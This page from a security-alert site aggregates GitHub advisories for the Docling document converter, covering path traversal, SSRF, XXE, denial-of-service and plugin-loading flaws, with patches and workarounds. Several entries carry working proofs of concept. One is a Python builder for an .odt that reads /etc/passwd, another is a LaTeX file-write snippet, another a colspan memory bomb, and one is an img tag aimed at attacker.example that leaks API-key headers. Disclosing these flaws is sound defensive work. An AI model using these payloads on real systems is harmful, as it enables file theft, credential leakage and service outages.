Where
-Infinity
0
Severity
6.9
Path Traversal
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever the referenced part is not found inside the document archive. The value comes straight from content.xml, so it is document content, and it is used with no scheme check, no confinement to the extraction directory, and without consulting the enablelocalfetch / enableremotefetch controls that the other backends use for exactly this decision. Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on the converting host. Where the target decodes as an image, its complete contents are embedded in the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports. Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries. Affected component docling/backend/opendocumentbackend.py, in imagereffromodfimage: python imageurl = odfimagehref(image) ... if imagedata is None and odfobj is not None and imageurl: try: imagedata = odfobj.getpart(imageurl) except Exception: imagedata = None if imagedata is None and imageurl: imagepath = Path(imageurl) if imagepath.isfile(): imagedata = imagepath.readbytes() odfimagehref returns the xlink:href attribute. The in-archive lookup is attempted first; when it fails, the same string is handed to Path and read from disk. The only filter on the way in is odfimagecanbebitmap, which admits any path whose suffix is one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them. The backend does not use the project's own fetch controls $ grep -n "enablelocalfetch\|enableremotefetch\|imageresourceloader" \ docling/backend/opendocumentbackend.py $ Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through docling/backend/utils/imageresourceloader.py, where enablelocalfetch and enableremotefetch both default to False. The ODF backend reimplements image loading and does not consult either, so the default of not fetching local resources is not applied on this path. That is the substance of the report: the control exists, it is off by default, and this backend does not reach it. Affected versions Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF image/table handling" (#3480), 2026-06-24. First released in v2.107.0. Affected: docling >= 2.107.0, up to and including 2.117.0 and current main (52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1). Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address unrelated defects and leave the path resolution unchanged. Reproduced on two independent machines: | | | |---|---| | Python 3.12.3 | docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1 | | Python 3.14.4 | same releases, and again against main clones on sys.path | Proof of concept Trigger An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part. python import zipfile CONTENT = ( '<?xml version="1.0"?><office:document-content ' 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' 'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" ' 'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" ' 'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">' '<office:body><office:text><text:p>' '<draw:frame><draw:image xlink:href="{href}"/></draw:frame>' '</text:p></office:text></office:body></office:document-content>' ) def build(path, href): with zipfile.ZipFile(path, "w", zipfile.ZIPDEFLATED) as z: zi = zipfile.ZipInfo("mimetype", datetime=(1980, 1, 1, 0, 0, 0)) zi.compresstype = zipfile.ZIPSTORED z.writestr(zi, "application/vnd.oasis.opendocument.text") zi = zipfile.ZipInfo("content.xml", datetime=(1980, 1, 1, 0, 0, 0)) zi.compresstype = zipfile.ZIPDEFLATED z.writestr(zi, CONTENT.format(href=href)) build("odtetcpasswd.odt", "/etc/passwd") build("odtcontrol.odt", "Pictures/image1.png") With the fixed archive timestamp above the artifacts are byte-reproducible: | File | Bytes | sha256 | |---|---|---| | odtetcpasswd.odt | 452 | edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634 | | odtcontrol.odt | 458 | da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6 | Without the fixed timestamp the archive size varies by a few bytes with the length of the href string, which is the only part that changes. Conversion — public API, default install, no options set python from pathlib import Path from docling.documentconverter import DocumentConverter from doclingcore.types.doc import ImageRefMode doc = DocumentConverter().convert(Path("trigger.odt")).document print(doc.exporttohtml(imagemode=ImageRefMode.EMBEDDED)) The read itself is observed with sys.addaudithook, which records every open without modifying Docling or any dependency. A self-contained script, odfrepro.py, is attached. It creates its own canary image in a fresh temporary directory, builds the trigger and the control, converts both, and reports the read, the disclosure in each export format, and ten consecutive repetitions. Output — disclosure python 3.14.4 docling /home/asus/CVE/docling/docling/init.py canary /tmp/odfcanaryeoz72d8/canary.png (104 B, sha256 b9c57d2dc728be7f) trigger odftrigger.odt (471 B, sha256 341d060294c90447) file opened outside document : True ['/tmp/odfcanaryeoz72d8/canary.png', ...] contents present in html : True contents present in markdown : True contents present in json : True control (in-archive href) : disclosed=False determinism : 10/10 ---------------------------------------------------------------------- RESULT: REPRODUCED ---------------------------------------------------------------------- The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly. The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside the archive and discloses nothing, through the same function. That is what separates this from intended behaviour. Output — read of a non-image path The read happens before any decoding is attempted, so it is not confined to image files. /etc/passwd status=success opened=['/etc/passwd'] /etc/doesnotexist9c1f status=success opened=[] Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths. Impact Confirmed by execution, default install, no options set: 1. Arbitrary local file read. A converted document names an absolute path and Docling opens it. Observed for /etc/passwd and for paths with no extension. 2. Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way. 3. Full content disclosure. Where the target decodes as an image, its bytes are embedded in the DoclingDocument and appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight. Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is an accepted input format there, json is an accepted output format, and the service defaults to binding 0.0.0.0 with DOCLINGSERVEAPIKEY unset, so on the face of it the same defect is reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am raising it for you to check rather than presenting it as a result.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
Path Traversal
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

When the HTML backend renders pages in a headless browser (HTMLBackendOptions(renderpage=True)), the enablelocalfetch option is not enforced. A crafted HTML file can embed an arbitrary local file (for example with <iframe src="file:///...">), and that file's contents appear in the page image attached to the returned DoclingDocument.

Details

In render mode, Playwright requests are filtered by HTMLDocumentBackend.getbrowserrequestblockreason. In affected versions, this check allowed file: URLs unconditionally, before reading any option. As a result:

- enablelocalfetch=False did not block local file access, and - even with enablelocalfetch=True, file access was not limited to the source document's directory, unlike the non-render path (ImageResourceLoader), which rejects absolute paths and path traversal.

Versions 2.82.0–2.90.x did no request filtering in render mode at all.

The browser runs with JavaScript disabled (from 2.91.0), so disclosure is passive: only what Chromium renders visibly inside the page viewport ends up in the page image.

Only Path inputs are affected. They are loaded through a file:// URL. Stream inputs are loaded with page.setcontent() into an opaque origin, from which Chromium does not load file:// subresources.

Impact

An attacker who can submit HTML for conversion can read any text file the conversion process can read (for example .env files, credential files, or other users' documents on a shared host) by having it rendered into the page image.

Only applications that meet all of these conditions are affected:

- they set HTMLBackendOptions(renderpage=True) in Python, - they have the optional playwright dependency installed, and - they pass untrusted HTML as a filesystem Path.

The following are not affected: the default configuration (renderpage=False), the docling CLI, docling-serve, and the EPUB, Markdown, XBRL and email backends.

Patches

Fixed in 2.118.1 (#3948). In render mode, file: requests are now blocked unless enablelocalfetch=True, and allowed requests are limited to the source document's directory.

Workarounds

If you can't upgrade, don't use renderpage=True on untrusted HTML, or pass the input as a stream instead of a Path.

Credits

Reported by @priyankn.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Summary

The HTML, JATS, ODS (OpenDocument spreadsheet) and BoxNote backends accept table rowspan / colspan values without an upper bound. A few bytes of input, such as <td rowspan="100000000">, make docling run loops proportional to the declared span and allocate a table grid of the declared size. The result is CPU and memory exhaustion.

Details

- docling/backend/htmlbackend.py (getcellspans) parses span attributes with no upper limit. The cell-filling loop then iterates rowspan × colspan times. - docling/backend/jatsbackend.py and docling/backend/boxnotebackend.py fill their tables the same way. - The OpenDocument spreadsheet path scans the declared span range. - Export (for example exporttomarkdown()) materialises the full grid through TableData.grid in docling-core.

documenttimeout does not bound this. It is checked between pipeline stages, and these backends convert the whole document in a single call. maxfilesize and maxnumpages do not help because the payload is tiny.

Measured on 2.130.0: a 54-byte HTML file with rowspan="1e8" takes about 4.4 s of CPU, and the time grows linearly with the value. A 52-byte file with colspan="3000000" takes about 23 s and reaches 4.5 GB peak memory during Markdown export.

Impact

Denial of service of the converting process from a very small input document. Confidentiality and integrity are not affected.

Proof of concept

html <table><tr><td colspan="3000000">x</td></tr></table>

python from docling.documentconverter import DocumentConverter DocumentConverter().convert("span.html").document.exporttomarkdown()

Patches

Fixed in docling 2.131.0 by #4414. Table spans are clamped to the HTML limits (colspan 1000, rowspan 65534) and to the actual size of the table in the HTML, JATS, BoxNote and OpenDocument spreadsheet backends, so conversion time and memory grow with the real table only.

Workarounds

Upgrade to 2.131.0. For older versions:

Run conversions of untrusted documents in a separate process with memory and CPU-time limits, or restrict allowedformats to formats that are not affected.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
Infoleak
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

Summary

docling accepts serialized DoclingDocument JSON as an input format (InputFormat.JSONDOCLING, enabled by default). A crafted JSON file can set a picture's image uri to a local file path. When the converted document is exported with embedded images (ImageRefMode.EMBEDDED, the CLI default for Markdown and HTML), the referenced file is read and embedded as base64 in the output.

Details

docling/backend/json/doclingjsonbackend.py validates the JSON into a DoclingDocument without checking image references. The file is then read by docling-core:

- DoclingDocument.withembeddedpictures opens file:// and plain-path URIs with PIL. - ImageRef.pilimage checks allowimagefileuri for file:// URIs but not for plain Path values. docling's picture enrichment models load images through this property.

Only files that PIL can decode as an image are disclosed. Other files, such as text files or keys, fail to decode and are not embedded. The different error behaviour does reveal whether a path exists.

Impact

Disclosure of image files readable by the converting process (for example other users' uploads or page images in a shared service), and disclosure of whether a local path exists.

Proof of concept

python from pathlib import Path from doclingcore.types.doc import DoclingDocument, ImageRef from doclingcore.types.doc.base import Size

doc = DoclingDocument(name="poc") doc.addpicture(image=ImageRef(mimetype="image/png", dpi=72, size=Size(width=1, height=1), uri=Path("/srv/uploads/other-user/scan.png"))) doc.saveasjson("poc.json")

docling poc.json --to md embeds the referenced PNG as base64 in poc.md.

Patches

Fixed in docling 2.131.0 by #4417. The Docling JSON backend now drops image references that point at local files (paths, file: URIs and any scheme other than data: and http(s)) and logs a warning. Callers that need to load local images from JSON they trust can opt in with DoclingJSONFormatOption(backendoptions=DeclarativeBackendOptions(enablelocalfetch=True)); the CLI has no such option.

Code that loads untrusted JSON directly with docling-core (DoclingDocument.loadfromjson) and exports it with embedded images is not covered by this fix; that part is tracked in docling-core.

Workarounds

Upgrade to 2.131.0. For older versions:

- Remove InputFormat.JSONDOCLING from allowedformats when converting untrusted input. - Export with ImageRefMode.PLACEHOLDER or ImageRefMode.REFERENCED instead of EMBEDDED.

1 / 2
Source: GitHub
First published (updated )
Severity
4.3
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L

Summary

When docling detects the input format of a gzip-compressed tar archive (METS-GBS), and later when the METS-GBS backend opens it, it calls tarfile.TarFile.getmembers(). That builds the full member list in memory before the maxmembercount limit is checked. A small archive with a very large number of empty members therefore makes docling allocate memory in proportion to the member count, and the limit has no effect.

Details

docling/datamodel/document.py (format detection) and docling/backend/metsgbsbackend.py both iterate tar.getmembers() and count members inside the loop. getmembers() reads every header up front.

Measured on Python 3.12: an archive of 1,000,000 empty members compresses to about 6.2 MB and makes getmembers() hold about 408 MB (about 66 times the input size). Format detection runs for any application/gzip input before allowedformats is applied, so the allocation happens even when METS-GBS is not an allowed format.

This check was introduced by the fix for CVE-2026-44018 (GHSA-r3xg-rg9j-67fv) in 2.91.0. The eager enumeration it relies on has been there since METS-GBS detection was added in 2.45.0.

Impact

Memory exhaustion of the converting process, proportional to the size of the input archive. Confidentiality and integrity are not affected.

Patches

Fixed in docling 2.131.0 by #4412. Format detection and the METS-GBS backend now read archive members one at a time and stop as soon as maxmembercount is exceeded, including when looking up page files.

Workarounds

Upgrade to 2.131.0. For older versions:

Reject gzip or tar inputs before they reach docling when METS-GBS support is not needed, and run conversions of untrusted input with memory limits.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N

Docling simplifies document processing by parsing diverse formats and providing integrations with the generative AI ecosystem. From 2.83.0 until 2.131.0, the KServeV2OcrModel class defined in docling/models/stages/ocr/kservev2ocrmodel.py sends page images to its configured endpoint without checking the pipelineoptions.enableremoteservices setting, even when the caller sets that policy control to false. The StandardPdfPipeline.makeocrmodel method also fails to pass the flag into the OCR factory, allowing remote OCR processing in configurations that rely on remote services being disabled. The destination is configured by the caller rather than selected by an attacker. This issue is fixed in 2.131.0.

First published (updated )
Severity
7.8
AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H

Summary

allowexternalplugins=False (the default, and the CLI default) is meant to restrict docling to its own model plugins. However, docling's plugin factories call pluggy's loadsetuptoolsentrypoints(), which imports every module registered under docling's plugin entry-point group. Only afterwards does docling filter out modules outside the docling. namespace. Import-time code in any installed third-party plugin therefore runs even though external plugins are disabled.

Details

In docling/models/factories/basefactory.py, loadfromplugins() loads all entry points first and applies the allowexternalplugins check only to the already-imported modules. The CLI creates these factories when it starts, so running docling imports every registered plugin module. A log message says the plugin "will not be loaded", although its module has already been imported.

Affected configurations

Environments in which a package registering a docling plugin entry point is installed, for example an unvetted or compromised dependency, and which rely on allowexternalplugins=False to keep that code from running.

Impact

Execution of a third-party plugin module's import-time code in the docling process, contrary to the documented behaviour of allowexternalplugins=False.

Patches

Fixed in docling 2.131.0 by #4413. Plugin entry points are now filtered by module name before they are loaded, so with allowexternalplugins=False third-party plugin modules are no longer imported.

Workarounds

Upgrade to 2.131.0. For older versions:

Only install trusted packages in environments that run docling. Check which packages register docling plugin entry points with importlib.metadata.entrypoints().

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

When the LaTeX backend is configured to render TikZ pictures with the Tectonic engine (LatexBackendOptions(tikzengine="tectonic")), the TikZ body and the document preamble from the input file are compiled by Tectonic without any restriction on TeX's file primitives. A crafted .tex file can read files the process can read and write files at paths the process can write. If the caller also sets tikzengineallowshellescape=True, the document can run shell commands through \write18.

Details

docling/backend/latex/engines/tectonic.py writes the picture source into a temporary document and runs the tectonic binary on it. resolvelocaldependency only decides which files are staged into the temporary directory. It does not limit what TeX opens at compile time, so:

- \input{/abs/path}, \verbatiminput{...} and \openin read arbitrary files, and their content can be typeset into the rendered picture that ends up in the conversion output. For an in-memory DocumentStream, staging is skipped entirely. - \immediate\openout / \write create or overwrite files outside the temporary directory. Neither needs shell escape. Tectonic's --untrusted flag does not block them either.

Separately, the TectonicEngine constructor defaults to allowshellescape=True. The LaTeX backend always passes tikzengineallowshellescape explicitly (default False), so this default only affects code that instantiates TectonicEngine directly.

Affected configurations

- Affected: callers that set tikzengine="tectonic", have a tectonic binary available (on PATH or in the docling cache), and convert untrusted LaTeX. - Not affected: the default configuration (tikzengine=None). docling does not install tectonic automatically, and the CLI exposes no option to enable it.

Impact

Disclosure of local files readable by the process, and creation or overwrite of files writable by the process. Writing to startup or configuration files can lead to code execution. With shell escape enabled, commands run directly.

Proof of concept

latex \documentclass{article} \usepackage{tikz} \begin{document} \begin{tikzpicture} \immediate\openout15=/tmp/docling-tectonic-poc.txt \immediate\write15{written by the input document} \immediate\closeout15 \node {x}; \end{tikzpicture} \end{document}

Converting this file with LatexBackendOptions(tikzengine="tectonic") creates /tmp/docling-tectonic-poc.txt.

Patches

Mitigated in docling 2.132.0 by #4419:

- TectonicEngine now defaults to allowshellescape=False, and without shell escape Tectonic runs with --untrusted and --only-cached. - Before compiling, docling checks the generated document and every staged file. It skips rendering, and keeps the diagram as TikZ code, when the source uses the \openin, \openout, \XeTeXpicfile or \XeTeXpdffile primitives, or names an absolute, home, drive-letter or parent-directory path in \input, \include, \includegraphics, \InputIfFileExists or \graphicspath.

This check is best-effort. It reads the source text, and TeX can open files in ways a text check cannot see, for example through package commands or names built by macros. As documented in the pipeline options reference, untrusted LaTeX rendered with tikzengine="tectonic" should still be processed in an isolated environment.

Workarounds

Upgrade to 2.132.0. For older versions:

- Do not enable tikzengine="tectonic" for untrusted input, or run the conversion in an OS-level sandbox (container, no host mounts, read-only filesystem, no network). - Never set tikzengineallowshellescape=True for untrusted input.

1 / 2
Source: GitHub
First published (updated )
Severity
5.8
SSRF
AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:N/A:N

Summary

When remote fetching is enabled (enableremotefetch=True, together with fetchimages=True or HTML renderpage=True), docling's protection against requests to private and loopback addresses can be bypassed.

- The URL check resolves the host name once, to a single IPv4 address. The HTTP request then resolves it again. A name that returns a public A record together with an internal AAAA record, or one that changes its answer between the two lookups (DNS rebinding), reaches internal addresses. - The check and the HTTP request parse the URL differently. With a backslash in the authority, such as http://127.0.0.1:8080\@1.1.1.1/x.png, the check validates 1.1.1.1 while the HTTP client connects to 127.0.0.1:8080. - In HTML browser-rendering mode (renderpage=True), requests made by the page are allowed for any http(s) URL without an IP check.

Details

- validateurlsafety in docling/backend/utils/imageresourceloader.py calls socket.gethostbyname(), which returns one IPv4 address. It checks that address and then passes the original URL string to requests, which parses it again with urllib3 and resolves the name independently through getaddrinfo. urllib.parse treats a backslash in the authority as part of the host section, while urllib3 ends the authority there, so the two can pick different hosts. This loader is shared by the HTML, Markdown, AsciiDoc, OpenDocument and JATS backends. - docling/backend/htmlbackend.py routes browser requests in render mode. When enableremotefetch is set, it continues any http(s) request, including iframes and images, without resolving or checking the destination.

JavaScript is disabled during rendering, so the browser path can only show internal responses passively in the page screenshot. It cannot read them and send them elsewhere.

Affected configurations

- Affected: callers that enable enableremotefetch (CLI: --html-image-fetch remote or all) and process untrusted documents. - Not affected: the default configuration (enableremotefetch=False).

The main-URL fetch for DocumentConverter.convert("https://...") is implemented in docling-core and is tracked there.

Impact

Requests from the converting host to internal services such as cloud metadata endpoints and loopback services. Response content is exposed only when it decodes as an image or is rendered into the page screenshot.

Patches

Fixed in docling 2.132.0 by #4420. The image loader now resolves the host once, requires every resolved address (IPv4 and IPv6, including IPv4-mapped, 6to4 and NAT64 forms) to be globally routable, and connects to one of the validated addresses, using the same parsed host for the check and the connection. Remote requests made during HTML browser rendering are downloaded by the same loader, and the browser itself stays offline. When a proxy is configured through environment variables, requests go through the proxy, which is then responsible for filtering destinations.

Workarounds

Upgrade to 2.132.0. For older versions:

Keep enableremotefetch=False for untrusted documents, or block egress to private, link-local and loopback ranges at the network level.

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Summary

HTMLBackendOptions.headers is documented for passing authentication headers (API keys, bearer tokens) when fetching remote images. docling sends these headers on every remote image request, to whichever host the document names. An untrusted document that references an attacker-controlled image URL receives the caller's credentials.

Details

docling/backend/utils/imageresourceloader.py merges options.headers into each remote request without checking the destination against the source document's origin. requests strips only Authorization on a cross-host redirect, so custom headers such as X-API-Key or Cookie are also forwarded across redirects.

Affected configurations

- Affected: callers that set headers together with enableremotefetch=True and fetchimages=True (CLI: --html-image-headers with --html-image-fetch remote or all), and convert untrusted HTML. - Not affected: the default configuration.

Impact

Disclosure of the configured request headers, typically credentials, to a host chosen by the document author.

Proof of concept

html <img src="https://attacker.example/pixel.png">

Converting this file with HTMLBackendOptions(enableremotefetch=True, fetchimages=True, headers={"X-API-Key": "..."}) sends the key to attacker.example.

Other items from the original report (DNS validation and unvalidated browser requests) are tracked in GHSA-pc36-qwjq-x68c.

Patches

Fixed in docling 2.132.0 by #4420. Configured headers are now sent only to the origin of the source document, checked on every redirect hop, and no longer to other hosts named by the document.

Workarounds

Upgrade to 2.132.0. For older versions:

Do not set headers when converting untrusted documents, or use credentials that are valid only for the intended host and have no other value.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Path Traversal, SSRF
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L

Impact In versions >= 1.5.0, < 2.74.1, docling-core did not sufficiently restrict remote request destinations and could resolve a server-provided Content-Disposition to a local path in an unsafe manner.

In applications that accept untrusted URLs, this could allow SSRF attacks targeting local files outside the user-defined cache directory.

Patches Patched in docling-core 2.74.1. The fix adds stricter validation for remote destinations and normalizes server-provided filenames before use.

Users should upgrade to: - docling-core >= 2.74.1

Workarounds If upgrading is not immediately possible, avoid passing untrusted URLs into remote fetch functionality.

References - Fix release: v2.74.1

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Path Traversal, SSRF
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:L

Impact The HTML backend did not perform sufficient validation during resource handling: - Accepted file:// URIs enabling local file system access when enablelocalfetch=True - Path resolution allowed traversal outside intended directories via ../ sequences and absolute paths - Did not block internal network resources under enableremotefetch=True - HTTP redirects were not validated, potentially redirecting to unintended schemes - No resource limits for remote image downloads and data: URIs

Patches Fixed in versions 2.91.0 (initial fixes) and 2.94.0 (additional improvements). The fixes implement: - Updated local path treatment: absolute files always blocked, relative paths require enablelocalfetch=True (default: False) and containment within configured basepath for path traversal protection - file:// scheme stripped & treated as local path (above) - IP address validation to prevent SSRF - HTTP redirect validation, connection and read timeouts - Size limit for both remote images (with streaming download) and base64-decoded data URIs

Workarounds Keep both enablelocalfetch=False and enableremotefetch=False (defaults) when processing untrusted HTML documents.

References - Initial fixes: v2.91.0 - Additional improvements: v2.94.0

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
Path Traversal
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Impact The LaTeX backend's handling of \includegraphics, \input, and \include commands lacked path containment validation. Attackers could craft malicious LaTeX documents with path traversal sequences (e.g., ../../../etc/passwd) to: - Read arbitrary files from the file system accessible to the process - Include sensitive files in the converted document output - Potentially access configuration files, credentials, or other sensitive data

Patches Fixed in version 2.91.0. The fix implements strict path validation using Path.resolve().isrelativeto() to ensure all resolved paths remain within the base document directory. Attempts to traverse outside the base directory are logged and blocked.

Workarounds Avoid processing untrusted LaTeX documents. If processing is necessary, run in a sandboxed environment with restricted file system access.

References - Fix release: v2.91.0

1 / 2
Source: GitHub
First published (updated )
Severity
9.4
SSRF, XEE
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Impact The USPTO patent XML parser used the standard xml.sax.parseString() without protection against XML External Entity (XXE) attacks. An attacker could craft malicious USPTO patent XML files with external entity references that could: - Read arbitrary files from the server filesystem - Perform Server-Side Request Forgery (SSRF) attacks - Cause denial of service through entity expansion (Billion Laughs attack)

The vulnerability affects three USPTO patent format parsers: ICE (v4.x), Grant v2.5, and Application v1.x.

Patches Fixed in version 2.74.0. The parser now uses defusedxml.sax.makeparser() with secure configuration that blocks external entity resolution (featureexternalges=False, featureexternalpes=False) while allowing DTD declarations required by USPTO files. This prevents XXE attacks while maintaining compatibility with the USPTO XML format.

Workarounds Avoid processing USPTO patent XML files from untrusted sources. Implement resource limits (memory, CPU time) when processing patent documents.

References - Fix release: v2.74.0

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
XEE
AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

Impact The METS-GBS backend's XML parsing and the input document format detection lacked security controls, enabling: - XML External Entity (XXE) attacks to read local files or cause denial of service - Decompression bombs (zip bombs) to exhaust memory and disk space - Unbounded archive extraction consuming system resources

An attacker could craft malicious METS-GBS archives that, when processed, could read sensitive files, exhaust system resources, or cause application crashes.

Patches Fixed in version 2.91.0. The fix implements: - Secure XML parsing with resolveentities=False, loaddtd=False, and nonetwork=True - Configurable limits: 300 MB total extraction size, 10 MB per file, 1000 member count - Cumulative size tracking across all extractions - Early termination when limits are exceeded - Secure format detection of METS-GBS tar archives with detectmetsgbs() method: maximum file size (10 MB per file), maximum member count (1000 members), and exception handling to gracefully fail when limits are exceeded

Workarounds Avoid processing METS-GBS archives from untrusted sources. If necessary, pre-validate archives in an isolated environment with resource limits.

References - Fix release: v2.91.0

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
Code Injection, SSRF
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:L

Impact In versions >= 2.82.0, < 2.91.0, if the HTML backend was explicitly configured for rendering (rendering option by default deactivated), then the Playwright-based rendering feature could allow JavaScript execution and unrestricted network access when processing untrusted HTML documents. An attacker could craft malicious HTML that executes arbitrary JavaScript in the rendering context or makes unauthorized network requests to internal services, potentially leading to SSRF attacks, data exfiltration, or remote code execution in the rendering environment.

Patches Fixed in version 2.91.0. The rendering context now explicitly disables JavaScript execution (javascriptenabled=False) and implements network isolation controls. When enableremotefetch is disabled, the browser operates in offline mode, preventing all network requests.

Workarounds Refrain from using renderpage=True when processing untrusted HTML documents.

References - Fix release: v2.91.0

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
Path Traversal
AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

Impact In versions < 2.91.0, The EasyOCR model download functionality extracted ZIP archives without validating member paths, enabling Zip Slip attacks. If an attacker could compromise the model download source (via supply chain attack, DNS spoofing, or MITM), they could write arbitrary files to any location writable by the process, potentially achieving: - Remote code execution by overwriting Python files or system binaries - Persistent backdoors by modifying startup scripts or SSH keys - Data corruption or system compromise

Patches Fixed in version 2.91.0. The extraction process now validates each archive member path using os.path.realpath() to ensure it remains within the target directory, raising a SecurityError for any path traversal attempts.

Workarounds Ensure model downloads occur over secure, authenticated channels. Use integrity verification (checksums) for downloaded models. Run the application with minimal file system permissions.

References - Fix release: v2.91.0

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Docling's JATS XML backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend uses etree.parse() to parse XML files without disabling entity resolution. An attacker can craft a malicious XML file containing a nested entity expansion payload (XML Bomb). When processed by Docling, the exponential expansion of entities leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.

First published (updated )
Severity
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Docling's METS GBS backend is vulnerable to XML Entity Expansion (XXE) attacks thru 2.61.0. The backend extracts and validates XML files from .tar.gz archives using etree.fromstring() without disabling entity resolution. An attacker can craft a malicious XML file with nested entity definitions (XML Bomb) and package it into a .tar.gz archive. When processed by Docling, the exponential expansion of entities during XML parsing leads to excessive resource consumption, resulting in a denial of service (DoS) condition on the system running the Docling parser.

First published (updated )
Severity
9.8
EPSS
0.14%
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Impact

A PyYAML-related Remote Code Execution (RCE) vulnerability, namely CVE-2020-14343, is exposed in docling-core >=2.21.0, <2.48.4 and, specifically only if the application uses pyyaml < 5.4 and invokes doclingcore.types.doc.DoclingDocument.loadfromyaml() passing it untrusted YAML data.

Patches

The vulnerability has been patched in docling-core version 2.48.4. The fix mitigates the issue by switching PyYAML deserialization from yaml.FullLoader to yaml.SafeLoader, ensuring that untrusted data cannot trigger code execution.

Workarounds

Users who cannot immediately upgrade docling-core can alternatively ensure that the installed version of PyYAML is 5.4 or greater, which supposedly patches CVE-2020-14343.

References

GitHub Issue: #482 Upstream Advisory: CVE-2020-14343 Fix Release: v2.48.4

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203